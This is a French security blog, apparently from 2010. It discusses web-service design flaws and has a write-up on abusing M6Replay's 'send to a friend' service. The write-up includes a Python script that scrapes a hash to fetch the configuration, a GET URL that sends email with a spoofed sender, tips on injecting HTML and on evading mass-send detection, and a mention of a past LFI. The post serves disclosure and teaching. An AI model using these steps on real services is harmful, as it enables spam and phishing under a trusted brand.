Pas mal de sites web dits "2.0" sont en fait une simple extension des navigateurs via l'emploi des technologies comme Flash, AJAX ou Java. Ces technologies transforment le navigateur en moteur de rendu (Vue et Contrôleur) d'un tryptique MVC (Modèle/Vue/Contrôleur) généralement acquis en développement, le serveur étant relégué au stockage et à la modélisation des données (quoique ...). Le développement de ce type d'applications web se rapproche dès lors beaucoup plus du développement d'application client/serveur que des applications compilées classiques, un poil plus complexe que de simplement coller à un programme une interface utilisateur (UI) gérée par un navigateur.
Web 2.0 et services web
Une des pratiques courantes lors du développement de ce type de site consiste à implémenter un service proposant une interface accessible via le protocole HTTP, basée sur des protocoles standardisés comme SOAP par exemple, et une interface cliente exploitant l'interface du service. Cette interface de service n'est bien sûr que la partie visible de l'iceberg, toute la logique métier implémentée dans le service n'étant pas directement exposée/accessible.
L'interface SOAP/XML employée pour permettre l'envoi de requêtes au service développé peut être employée par différents langages, différents composants, et c'est en partie ce qui motive le développement de ce type d'interface couplée au service. De plus, ces services peuvent reposer sur une base de données, et exposer des informations intéressantes, bien qu'utilisées globalement par l'application. La partie cliente se résume à une applet Java ou Flash, voire même JavaScript (grâce au composant XMLHttpRequest), permettant d'interagir avec le service. Cette partie cliente offre plus ou moins de fonctionnalités, selon les désirs du ou des développeurs.
L'avantage de ce principe de développement est que les implémentations du service et de l'interface cliente peuvent se faire séparemment. Les inconvénients eux sont multiples: sécurité par l'obscurantisme et laxisme dans les vérifications.
Des services web obscurs ...
Une des lubies des développeurs de services web "sécurisés" consiste à supprimer toute information concernant le modèle des données (principalement les noms) mais de conserver les structures, ce qui est une obligation pour le bon fonctionnement du service. Cette pratique rend difficile l'analyse du service web: sans repère textuel, impossible de connaître les arguments de telle ou telle méthode offerte par le service. Cela peut sembler sécurisé, mais au final l'interface cliente possède ces informations en son sein: il suffit juste de l'analyser pour retrouver comment les méthodes sont appelées, ce qui dans le cas d'applets Flash ou java n'est pas très difficile à réaliser.
De même, certains services web implémentent des méthodes spéciales, réservées à des tâches d'administration, mais qui ne sont pas liées avec l'interface cliente. De fait, personne ne soupçonne l'existence de ces méthodes, jusqu'à ce que quelqu'un aille jeter un oeil au WSDL. Le WSDL, kezako ? Simplement un langage de description de services web (Web Service Description Language), communément supporté par plusieurs moteurs de services web (Axis, etc ...). Voici un exemple de fichier WSDL.
D'après mon expérience, ces problèmes sont récurrents d'une part à cause des développeurs (méthodes de débogage, de taçage) et d'autre part à cause des décideurs (méthodes implémentées pour une future version par exemple). Mais le fait est là: ces méthodes obscures peuvent permettre à un attaquant de prendre le contrôle d'un service web, et pourquoi pas du serveur hébergeant le service. De même, la tentative de camouflage des paramètres passées aux méthodes exposées par le service web tombe à l'eau dès que l'interface cliente est identifiée.
... et des développeurs naïfs
Une autre attaque commune consiste tout simplement à réimplémenter l'interface client, en enlevant toutes les vérifications effectuées et en augmentant ses fonctionnalités. Cela fonctionne (grâce ?) à cause du manque de vérification effectuées par le service web lui-même. Ceci est une conséquence de la dissociation lors du développement des implémentations du service web et de l'interface cliente: l'un se repose trop sur l'autre. Et ce qui devait arriver se produit généralement: l'interface cliente effectue tout un ensemble de vérifications sur les données saisies par exemple, avant de les envoyer au service web, qui lui ne fait pas toutes les vérifications et se retrouve donc vulnérable lorsqu'une interface tierce communique avec lui (rappelons que cette possibilité d'interfaçage est inhérente à la présence du service web). J'ai pu démontrer à maintes reprises dans différents articles de ce site que cela était possible.
Presque-conclusion
L'évolution du web (non, je n'aime pas le terme "Web 2.0") est telle que le développement web se rapproche de plus en plus du développement applicatif dit "classique", avec la même vision des enjeux et problématiques. Il est donc important que les développeurs web d'aujourd'hui adaptent leurs implémentation et notamment la sécurité à l'évolution (sic) des technologies, de façon à protéger de mieux en mieux les applications web. Il serait peut-être temps, car bon, les standards abordés dans ce post ne sont plus du tout très jeunes ...
La nuit du hack approche à grands pas, et c'est notamment une très bonne occasion pour rencontrer des barbus de tout poil, et de discuter hack autour d'une bière (ou plus). Seulement voilà, va falloir vous dépécher, reste plus beaucoup de place (50 places d'après ce que l'on m'a dit).
Chat bosse
On travaille actuellement d'arrache-pied (comme les vietnamiens, mais eux n'ont pas besoin de travailler pour s'arracher les pieds, les mines s'en chargent) sur le CTF de la nuit du hack, afin de vous pondre une archi à la hauteur et moins buguée que celle de l'année dernière, et croyez-moi, ya du boulot ... On a tout de même bien avancé, et on use et abuse des phases de test. Non, je ne leakerai aucune info... Pas même contre quelques bières (ce qui ne doit pas vous empêcher de m'en payer une, cela va de soi).
le barbu sort de sa grotte
Autre possible venue à la Nuit du Hack, celle de babozor de la grotte du barbu, avec peut-être (mais cela n'est pas encore confirmé) le tournage du premier épisode de la saison #3 sur place ! J'ai découvert LGDB il y a vraiment peu de temps, et je dois avouer que je suis fan de certains gadgets comme le plieur de tshirt (étant moi-même anti-chemise et grand consommateur de tshirts) ou encore le chargeur de smartphones maison fonctionnant sur pile de 9V. De plus, l'esprit correspond vraiment à la philosophie hacker, toutes les injures et trolls fournis avec.
Retouches
Dernière petite news, j'ai pris quelques heures de mon temps libre pour arranger un peu le design foireux, ce qui ne fait pas de mal avec l'arrivée du soleil. Je me suis aussi entraîné en design et dessin vectoriel, ce qui je dois l'avouer n'est pas un mal (je remercie tout particulièrement Inkscape pour le soutien logistique).
Et puis je tiens à préciser que ces derniers mois, je n'ai pas été très prolifique (le suis-je de toute façon ?), mais c'est pour la bonne cause: masse de taff, toujours en vadrouille dans le cadre de formations ou de pentests, développement perso à des heures pas possibles, etc...
M6Replay est un service de "catch-up TV", c'est à dire de TV de rattrapage. Il est réservé aux internautes français, et diffuse en streaming les épisodes de séries ainsi que d'émissions culturelles hautement intellectuelles comme "Secret Story".
Il était une fois Flash ...
Je rêvassais tranquillement sur IRC lorsqu'un lien sur le chan général a attiré mon attention: une vidéo qui faisait le buzz, et qui n'était pas posté par IvanLeF0u ! Quelle chance =). Je clique donc joyeusement sur le lien, pour aboutir sur une page qui m'envoie balader pour cause de player flash pas à jour, patati patata. Fait pas bon être sous linux. Qu'à cela ne tienne, je jette donc un oeil au code source de la page, et plonge mes mains dans le cambouis des code-monkeys de chez M6.
... et du code tout moisi...
Et là paf, je me prend une claque de suite par ce bout de code:
var hash = '';
hash+='0';
hash+='f';
hash+='6';
hash+='1';
hash+='0';
hash+='b';
hash+='4';
hash+='1';
hash+='9';
hash+='6';
hash+='c';
hash+='c';
hash+='0';
hash+='8';
hash+='9';
hash+='0';
hash+='2';
hash+='4';
hash+='d';
hash+='b';
hash+='9';
hash+='2';
hash+='7';
hash+='e';
hash+='a';
hash+='4';
hash+='b';
hash+='5';
hash+='9';
hash+='b';
hash+='b';
hash+='b';
var flashvars = {};
var configuration_url = './get_configuration.php?time='+1272922030+'&hash='+hash;
flashvars.configlink = encodeURIComponent(configuration_url);
var params = {};
params.quality = "high";
params.bgcolor = "#000000";
params.allowfullscreen = "true";
params.allowscriptaccess = "always";
var attributes = {};
attributes.id = "M6ReplayApplication";
attributes.name = "M6ReplayApplication";
swfobject.embedSWF("http://l3.player.M6.fr/swf/M6ReplayApplication.swf?dt="+(new Date()).getTime(), "flashContent", "100%", "725", "10.0.32.18", "http://l3.player.M6.fr/swf/expressInstall.swf", flashvars, params, attributes);
De suite, ça fait de la peur. Surtout l'obfuscation, à croire que les gens qui ont pondu ce code n'ont jamais entendu parler des systèmes de packing JS ou encore des techniques d'obfuscation avancées. Mais là n'est pas la question. Ce qui fait mal aux yeux, c'est la requête réalisant la récupération de la configuration: elle requiert un hash et un timestamp, certainement pour éviter une automatisation. Mais peine perdue.
Codons un petit tool pour aller chercher cette configuration:
#!/usr/bin/python
# M6Replay configuration retrieval =)
# (c) 2010 - virtualabs.fr
import re
import md5
import urllib2,urllib
import sys
# on cree quelques regexp
phash = re.compile("hash\+='([a-f0-9])';")
ptimestamp = re.compile("\./get_configuration\.php\?time='\+([0-9]+)\+'&ha")
try:
# on recupere la page
print '[+] Fetching m6replay.fr ...'
req = urllib2.Request('http://www.m6replay.fr/')
resp = urllib2.urlopen(req).read()
# identification du timestamp et du hash
print '[+] Extracting timestamp & hash ...'
timestamp = ptimestamp.search(resp).group(1)
hash = ''.join(phash.findall(resp))
print '[i] Timestamp:%s hash:%s'%(timestamp,hash)
# on lit la page avec le timestamp et le bon hash
print '[+] Retrieving configuration ...'
req = urllib2.Request('http://www.m6replay.fr/get_configuration.php?time='+timestamp+'&hash='+hash)
configuration = urllib2.urlopen(req).read()
# et on stocke ca dans un fichier
config = open('configuration_v3.xml','w')
config.write(configuration)
config.close()
except:
print '[!] Erreur lors de la recuperation de la configuration ...'
Et zou, il ne reste plus qu'à l'exécuter et récupérer le contenu du fichier de configuration, qui se trouve être par un pur hasard un fichier XML !
<id type="int"/>
<idSeq type="int"/>
<url_sem type="string"/>
<emailTo type="string"/>
<emailFrom type="string"/>
<message type="string"/>
<typeMail type="string"/>
</param>
</service>
</services>
[...]
</header>
</config>
Woot ! Un fichier de description de service et des paramètres pour le player ... Que demander de plus ? On est donc ici en présence d'un service web proposant plusieurs fonctionnalités, très certainement employé par le lecteur Flash pour interagir avec la base de données. Et si on analysait un peu certaines méthodes offertes ?
Que le web service soit, et le web service fume
Le web service propose une fonctionnalité d'envoi de vidéo à un ami, fonctionnalité résumée par cette description de service:
<id type="int"/>
<idSeq type="int"/>
<url_sem type="string"/>
<emailTo type="string"/>
<emailFrom type="string"/>
<message type="string"/>
<typeMail type="string"/>
</param>
</service>
Et là, c'est le drame: on peut remarquer la présence de champs tels que emailTo ou encore emailFrom ainsi que message, certainement des champs utilisés lors de la génération des emails envoyés aux amis. Le champ emailFrom semble intéressant, car il pourrait offrir la possibilité de mettre en adresse source absolument ce que l'on veut.
De plus, ce service est accessible via la méthode HTTP GET, c'est-à-dire juste en passant les différents arguments via l'url dans un navigateur :). Ce qui donne de plus très envie de tester cela. Alors testons:
http://www.m6replay.fr/pages/envoyer-a-un-ami-video.php?id=1&idSeq=1&url_sem=pouet&emailTo=virtualabs@gmail.com&emailFrom=casimir@pedobears.com&message=Coucou les n'enfants !!!!&typeMail=html
On entre cette URL dans un navigateur, et hop, il nous indique que le message a bien été envoyé ! Vérifions rapidement notre messagerie ...
Il semblerait que nous ayons bien reçu un email provenant de casimir@pedobears.com, nous invitant à consulter une vidéo sur m6replay.fr.
Quelques bonus croustillants en prime
Les entêtes sont eux aussi assez particuliers, car dévoilant des informations concernant le service qui a émis le mail:
Received-SPF: pass (google.com: domain of apache@usine.clubic.com designates 193.22.143.46 as permitted sender) client-ip=193.22.143.46; Authentication-Results: mx.google.com; spf=pass (google.com: domain of apache@usine.clubic.com designates 193.22.143.46 as permitted sender) smtp.mail=apache@usine.clubic.com Received: from back3b.clubic.com (localhost.localdomain [127.0.0.1]) by back3b.clubic.com (Postfix) with ESMTP id 74C97232C080 for <virtualabs@gmail.com>; Tue, 4 May 2010 00:02:13 +0200 (CEST) Received: from usine.clubic.com (usine.clubic.com [193.22.143.12]) by back3b.clubic.com (Postfix) with ESMTP id 6AF77232C07E for <virtualabs@gmail.com>; Tue, 4 May 2010 00:02:13 +0200 (CEST) Received: by usine.clubic.com (Postfix, from userid 74) id 6732A790C2; Tue, 4 May 2010 00:02:13 +0200 (CEST) To: virtualabs@gmail.com Subject: Partage de la vidéo : 0 CONCERT 80' : Saison Episode HTTP-Posting-Client: 195.88.194.40 HTTP-Posting-URI: backstage_video.m6web.fr:80/ws.php MIME-Version: 1.0 Content-type: text/html; charset=UTF-8 From: "casimir@pedobears.com"<casimir@pedobears.com> Reply-To: casimir@pedobears.com Message-Id: <20100503220213.6732A790C2@usine.clubic.com>
Notez par exemple les entêtes HTTP-Posting-Client et HTTP-Posting-URI, qui ont des valeurs assez cocasses. Il est aussi amusant de voir que les emails sont émis à partir de usine.clubic.com, et qu'ils passent le filtre anti-spam de google. Bref, une vraie machine à spam si elle tombe entre de mauvaises mains.
De plus, il est aisé d'intégrer du code HTML dans les messages envoyés, le web service ne filtrant pas celui-ci:
Et pour terminer dans la série des bonus, la détection d'envoi massif se base uniquement sur l'adresse email de destination et la session (à l'aide du cookie). Si un utilisateur malveillant effectue un envoi sur plusieurs boîtes distinctes sans stocker de cookies, alors celui-ci est indétecté.
** Conclusion **
Le web service employé par le player de M6 replay est vraiment trop laxiste en termes de sécurité, et peut servir de plate-forme de spam ou même d'envoi de fakemail à très peu de frais. Certes, le sujet du mail ne peut pas être modifié, mais il en fait un message de choix, imaginez un peu: des offres de viagra sponsorisées par M6Replay, qui viennent de M6Replay, qui ont la même tête que les mails classiques de M6Replay ... Heureusement que M6Replay n'est pas une banque.
Néanmoins, plusieurs leçons sont à tirer de cet exemple: - la conception de web service ne se fait pas à la légère - la technologie Flash est cool, mais peut être contournée - tout service peut être abusé d'une quelconque manière - le filtrage des entrées utilisateur doit être systématique
A noter toutefois qu'ils ont corrigé le script de chargement de configuration, celui-ci faisant auparavant appel à une page download.php qui prenait en paramètre un nom de fichier via un argument file, ce qui sentait bon la LFI =).